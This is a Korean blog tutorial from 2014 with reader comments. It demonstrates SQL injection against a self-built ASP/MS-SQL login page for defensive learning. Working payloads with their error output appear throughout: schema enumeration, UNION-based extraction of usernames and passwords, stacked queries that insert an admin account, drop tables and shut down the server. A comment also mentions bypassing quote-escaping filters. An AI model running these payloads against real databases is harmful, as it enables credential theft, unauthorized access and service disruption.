SQL Injection Attack Query (SQL 인젝션 공격쿼리)

HYEONG HWAN, MUN/ 10월 18, 2014/ 미분류/ 20 comments

https://blog.lael.be/post/55

적을 알아야 대처할 수 있습니다.
이 기술을 배워서, 취약하지 않은 소프트웨어를 제작하는 능력을 기르도록 합시다.

테스트는 ASP 환경에서 실시되었지만, SQL 인젝션은 데이터베이스를 사용하는 모든 언어에서 일어날 수 있습니다. (C, C++, PHP, ASP, JSP 등등)

공격자는 SQL 인젝션 취약점을 사용하여 데이터베이스 내의 모든 정보를 추출할 수 있습니다.

 

테스트 환경

  • OS :  Windows 2000 pro
  • DB : MS SQL personal
  • 스크립트 언어 : ASP

login_page.html 과 process_login.asp 파일을 IIS 서버에 올리고 테스트한다.
로그인 페이지는 다음과 같다.
w1
MS-SQL에 미리 테이블을 생성하고 값을 입력해두자.

테이블생성


create table users(
    id int,
    username varchar(255),
    password varchar(25),
    privs int
)

값 입력


insert into users values( 0, 'admin' , '1234', 0xffff);

insert into users values( 0, 'guest', 'guest', 0x0000);

insert into users values( 0, 'chris' , 'password', 0x00ff);

insert into users values( 0, 'fred', 'sesame', 0x00ff);

 

공격자의 관점

이와 같은 DB 시스템에서, 공격자가 자기 자신의 계정을 만들고 싶어했을 때 users 라는 테이블의 존재나 구조를 모르면 공격이 불가능할 것이다.

우연히 맞춘다 해도, privs 라는 필드는 어떤 필드인지 확실하지 않다.

공격자에게는 다행이게도, ASP 기준 application에서는 에러가 있을 경우 그 내용을 리턴하는데 내용이 노출되면 공격자가 그것을 참고하여 데이터베이스의 구조를 파악할 수 있게 된다.

 


 

굳이 데이터베이스 구조를 파악할 필요가 없는 경우

공개 오픈소스의 경우 데이터베이스 구조가 알려져 있기 때문에,

취약점이 발견되면 본문 내용처럼 굳이 테이블명이나 필드명을 조회할 필요없이 사용자 정보를 추출할 수 있습니다.

 

특히 2000년 초기에 개발되고 널리 쓰인 - 많은 보안 취약점이 있는것으로 알려진 제로보드4의 경우

배포 및 유지보수가 중단된지 5년이 넘었으며(2009년 9월 25일 중지) [공지참조] , 빠른 시일내에 시스템을 교체하기를 권장합니다.

 




 

공격 1 - 테이블명 알아내기 (having)

username : ' having 1=1--

참고로

1) having절은 group by에 의한 결과를 제한할 때 사용한다. group by 에 의해 결과를 집계한 다음 having 절에 명시한 조건으로 맞지 않는 결과는 버린다.

2) -- 는 뒤에 오는 내용을 ‘single line comment(한 줄짜리 주석)로 만든다.

asp 코드를 보면


select * from users where username = ' +username+ ' and password = ' +password+'

라고 되어있다. 여기서 보라색 username, password는 사용자가 입력한 값이 들어가게 된다.

username 칸에 위와 같이 입력하면 내부적으로 완성되는 쿼리는 다음과 같다.

내부적으로 완성되는 쿼리 :


select * from users where username = '' having 1=1-- and password = ''

-- 이하는 주석처리되므로 결국 다음과 같다.


select * from users where username = '' having 1=1--

이는 다음과 같은 에러를 만든다

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
 [Microsoft][ODBC SQL Server Driver][SQL Server]'users.id' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.
 /process_login.asp, line 34

이 에러메시지를 통해 table명이 users라는 것과 첫번째 필드명이 id라는 것을 알 수 있다.
공격자는 이제 각 필드를 알아낼 차례다.

 

공격 2 - 필드명 알아내기 (group by)

username : ' group by users.id having 1=1--

내부적으로 완성되는 쿼리 :


select * from users where username = ''group by users.id having 1=1-- and password =''

이는 다음과 같은 오류를 낸다.

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
 [Microsoft][ODBC SQL Server Driver][SQL Server]'users.username' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
 /process_login.asp, line 34

결국 공격자는 username을 얻는데에도 성공한다.

‘group by users.id, users.username having 1=1- 를 이용해 users.password를 알수 있고,

‘group by users.id, users.username, users.password having 1=1- 를 이용해 users.privs를 알수 있다.

이런식으로 하나씩 늘려가다보면 마침내 다음과 같이 에러를 내지 않는 쿼리를 완성하게 된다.

username : ' group by users.id, users.username, users.password, users.privs having 1=1--

이는 다음과 같은 뜻이 된다.


select * from users where username  = ''

이로써, 공격자는 두 가지 사실을 알게 된다.

  • 이 쿼리가 오직 users 테이블만 참조한다는 것
  • users 테이블에서 id, username, password, privs 컬럼을 사용한다는 것

 

공격 3 - 필드 타입 알아내기 (union)

공격자는 아직 각 필드의 타입을 모른다.

타입에 대한 에러를 보기 위해 다음과 같은 공격 쿼리를 입력한다.

Username : ' union select sum(username) from users--

내부적으로 완성되는 쿼리:

select * from users where username = '' union select sum(username) from users-- and password=''

union 쿼리는 두개의 테이블에 있는 내용을 동시에 가져오는 방법이며 두테이블이 전혀 관계 없어도 가능하다. 

http://blog.naver.com/mulriver?Redirect=Log&logNo=120005713026

 

여하튼 위의 쿼리는 sum 명령에 대하여 계산을 시도하다 다음과 같은 에러가 난다.

 Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]sum or average aggregate 연산에서는 varchar 데이터 형식을 인수로 취할 수 없습니다.
 /process_login.asp, line 34

 

이 에러 메시지는 username 이 varchar 형임을 말해준다. 만약 varchar가 아니라 숫자형이었으면 어땠을까?

Username : ' union select sum(id) from users--

내부적으로 완성된 쿼리 :

select * from username='' union select sum(id) from users-- and password = ''

id(numeric 타입)를 sum()으로 계산하려고 하니 다음과 같은 에러가 난다.

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
 [Microsoft][ODBC SQL Server Driver][SQL Server]UNION 연산자를 포함하는 SQL 문의 모든 쿼리는 대상 목록에 동일한 개수의 식이 있어야 합니다.
 /process_login.asp, line 34

type conversion에 관련한 메시지가 된다. 만약 string을 integer형으로 변환시키려고 하면, string의 내용 전부가 에러 메시지로 출력되는 것이다. 이러한 기술을 이용해 어떤 table의 어떤 column이든 type 을 대략 추정할 수 있다. 이는 공격자에게  완벽한 insert문을 만들 수 있게 해준다.



공격 4 - 계정만들기 (insert)

공격 3까지에서 테이블명, 필드명, 각 타입을 알았으므로 공격자가 임의의 값을 테이블에 넣는 쿼리를 만들어 실행할 수 있다.

username : '; insert into users values(666,'attacker' , 'foobar', 0xffff)--

내부적으로 완성된 쿼리:

select * from username=''; insert into users values(666,'attacker' , 'foobar', 0xffff)-- and password = ''

세미콜론(;)있는 부분에서 select 문이 끝나고 insert 문이 실행되어, attacker의 데이터가 고스란히 db 테이블에 저장된다.

 

공격 5 - 버전 및 환경 알아내기 (@@version)

공격자는 database나 서버 환경에 대한 정보도 밝혀낼 수 있다.  우리 테스트 페이지에서는 SQL서버의 버전과 이것이 동작하는 OS도 알려준다.

username :  ' union select @@version,1,1,1--

내부적으로 완성되는 쿼리:

select * from users where username =‘’ union select @@version,1,1,1-- and password = ‘’

에러메시지는 다음과 같다.

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]nvarchar 값 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4) '을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

 

이 공격은 @@version을 integer형으로 변환시키려고 시도한다. 왜냐면, users 테이블의 첫 column이 integer형이기 때문이다.

참고 )  ‘ union select 1, @@version,1, 1- 를 이용하면 정상인것처럼 출력됨

이 기술을 이용해 db의 어떤 테이블의 어떤 값이든 읽을 수 있다.

 

공격 6 - 계정 추출하기 (type convert error)

공격자가 username과 password에 관심이 있다면 users 테이블에서 다음과 같은 시도를 할 것이다.

Username : 'union select min(username), 1,1,1 from users where username > 'a'--

내부적으로 완성된 쿼리 :

select * from users where username ='' union select min(username), 1,1,1 from users where username > 'a'-- and password =''

이 쿼리문은 ‘a’보다 큰 username 중 minimum(최소)값을 가져온다. 그리고 그것을 integer형으로 변환을 시도하다가 다음과 같은 에러를 발생시킨다.

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'admin'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

 

이로서, 공격자는 admin계정이 존재함을 알게 된다. 공격자는 where 절을 이용해 각 계정의 이름을 모두 알아낼 수 있다.
‘union select min(username), 1,1,1 from users where username > ‘admin’-

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'chris'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

‘union select min(username), 1,1,1 from users where username > ‘chris’-

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'fred'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

‘union select min(username), 1,1,1 from users where username > ‘fred’-

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'guest'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

‘union select min(username), 1,1,1 from users where username > ‘guest’-
-> 통과 (더이상 없음)>

공격 7 - 계정의 패스워드 알아내기

공격자가  username을 알아내기로 마음 먹었다면, password도 알아낼 수 있다.

Username : 'union select password,1,1,1 from users where username = 'admin'--

내부적으로 완성되는 쿼리:

select * from users where username = '' union select password,1,1,1 from users where username = 'admin'-- and password =''
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 '1234'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

 

공격 8 - Transact-SQL

더 똑똑한 기술이 있다. username 과 password를 연계해 single string 으로 만들어 이를 integer형으로 변환을 시도하는 방식이다. Transact-SQL 명령어로 string을 고스란히 한라인에 쓸 수 있다.

이용하는 쿼리 :

begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end

이를 한 줄로 만들어 공격에 임해보자.

username : '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--

 

이  결과로 ‘ret’이라는 single column을 가진 ‘foo’라는 테이블을 만들고 string을 거기 집어넣는다.

이제 공격자는 그 테이블의 string을 가져온다.

username : ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 ': admin/1234 guest/guest chris/password fred/sesame'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

모든 id와 password가 에러메시지에 한줄로 나오는 것을 볼 수 있다.

이제 이를 확인한 공격자는 깔끔하게 table을 없애거나(drop) 내용을 삭제(delete)한다.
Username : ‘; drop table foo-
내부적으로 완성된 쿼리 :

select * from users where username ='';drop table foo-- and password=''

공격 9 - shutdown

Username : '; shutdown--

 

sql 서버 인스턴스를 shutdown 시킨다.

 

결론

위의 예제를 통해 다음의 작업이 가능함을 알 수 있었다.

  • 데이터베이스 구조 파악
  • 데이터베이스 저장 값 조회
  • 관리자 계정 추가
  • 서버 정보조회
  • 데이터베이스 삭제
  • 데이터베이스 종료

 

예제들은 sql injection 의 수박 겉핥기식의 일례일 뿐이다.
공격자가 DB로 부터 얻는 에러가 방대할수록 공격이 쉬워진다.

Advanced sql injection in SQL Server Applications 에는 웹 프로그래밍상의 방어적 코딩 방안이 나와 있다.
1. Escape single quote
‘ (외따옴표)의 escape코드를 이용
2. Reject known bad input
select, insert, delete, drop , -, ‘ 등의 있는지 검사
3. Allow only good input
abcdefg…ABCDEFG…0123456789 만 허용

 


#2018.11.01 UNION SELECT 인젝션 예제를 하나 더 추가했습니다.

https://blog.lael.be/post/1238 글을 참고하세요.

 


 

advanced_sql_injection.pdf

Uncommon-SQL-Injection.pdf

 

20 Comments

  1. 감사합니다 잘보고 갑니다

    1. 네. 공격 방법을 알면 방어 방법도 알게 되어 있습니다.

      취약하지 않은 서비스를 만들어 보아요~ 🙂

  2. 보안이라는건 너무 어려워요. ㅜ-ㅜ
    잘보고 가요. ^^

    1. 그래도 이 정보를 아는 것과 모르는 것의 차이는 큰 것 같아요.

  3. 세미콜론으로 다중 쿼리 보내는거 안되지 않나요?

    1. 본문에 나와있는 ASP – MSSQL 환경에서는 가능합니다.
      그리고 본문에는 담지 않았지만 세미콜론 이외에도 아스키코드나 주석처리 등의 인젝션 기법들이 더 있습니다.

  4. sql 인젝션 공부를하려고 하는데 정말어렵네요.. 뭘준비해야할지 뭘처음부터 공부를해야할지.. 혹시아시면 댓글에 부탁드립니다..

    1. 모든 공부에는 “왜 공부해야하는지?”에 대한 답변이 먼저 이루어져야 합니다.
      SQL INJECTION 을 배우려면 먼저 “취약하게 코딩하는법”을 배워야합니다.
      아무 언어로 단순한 게시판 하나 만들어보세요. 그리고 거기에 인젝션을 해보는 것입니다.

  5. 안녕하세요 컴퓨터공학도 학생인데요. 정말 도움이 많이 되었습니다ㅠ ㅠ
    혹시 해당 테스트 코드도 받아볼 수 있을까요??
    [***]@korea.ac.kr 입니다. 감사합니다.

    1. 취약한 코드를 짤 수 있는것도 능력입니다.
      본문의 코드는 매우 단순한 것이며, 특히나 공부를 하는 학생이시라면 스스로 코드를 작성해야합니다.

  6. Sql 인젝션 무엇인지 몰라 검색 해서 들어오니 라엘님 블로그네요 bb

    궁금증이 풀리네요
    이곳에 오면 늘 배우고, 얻어 갑니다
    감사합니다

  7. 공격3에서 바로 sum 연산자에 대한 피연산자 데이터 형식 varchar이(가) 잘못되었습니다. 떠부리네요

  8. 정리 잘해주셔서 감사합니다 많은 도움받고 가요!

  9. 우와 코드가 실제로 대형 사이트(구글과 같은 대기업)에서 작동한다고 생각하니 사악하네요 ㅋㅋ
    당연히 보완을 해뒀겠지만 예를 들어 구글 메인페이지 검색이 where절에 그냥 들어간다고 하면 구글 서버를 꺼버리는 짓도 가능한 거잖아요?

    1. 대충 프로그램 작성해서 동작한다고 실서비스로 바꾸면 큰일이 나는 거죠.
      요즘의 “좋은” 프로그래밍 가이드를 따라하면 sql injection 같은건 막혀요.

  10. 안녕하세요.
    질문이 있는데요.

    웹언어로 mysql 쿼리를 원격 실행할 때 하나의 쿼리만 실행가능하지 않나요?

    제가 asp를 안해봐서 모르는데
    php는 mysql_query()
    이런 함수사용해서 쿼리 실행하면
    본문처럼
    select *~~~~; insert into ~~~~;
    이렇게 두가지를 동시에 못하던데요..

    asp는 쿼리를 여러개 실행 가능한건가요?

    1. php는 보안상 query 관련함수에 한개의 쿼리만 허용합니다.
      php에서 ; 를 사용한 다수의 쿼리를 사용하려면 multi_query 함수를 사용하면 됩니다.
      php 프로그램에서는 multi_query 함수를 거의 사용하지 않기 때문에 대부분의 php 소프트웨어에서 세미콜론(;) 인젝션은 되지 않습니다.

      기타 다른 언어는 이런 독특한 구성이 아니라서 일반 query 함수에서 multi query 가 가능합니다.

  11. 많이 배웠네요.

    한가지 질문이 있는데요,

    친구한테서 Oracle 에서 sql인젝션 방지를 위해 ‘ 문자를 두번 반복시키는 방법이 있다고 들었어요.
    이렇게 될 경우 이를 회피하는 방법은 없겠는지요?

    도움을 주셨으면 합니다.

    1. 그것은 인젝션을 방어 하는 방법중에 하나입니다. 다만 회피하는 방법은 많죠.
      일반적으로 함수로 우회하거나 주석문자 (– 또는 # 또는 /* */) 로 우회하죠.
      문자열을 치환하는 방식으로 해결하는건 좋지 않은 방식입니다. 같은 코드라도 SQL서버의 환경설정값에 따라서 다른 결과가 나올수 있습니다.
      SQL 자체의 prepared statement 사용을 권장합니다.

HYEONG HWAN, MUN에 답글 남기기 응답 취소

작성하신 댓글은 관리자의 수동 승인 후 게시됩니다.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>
*
*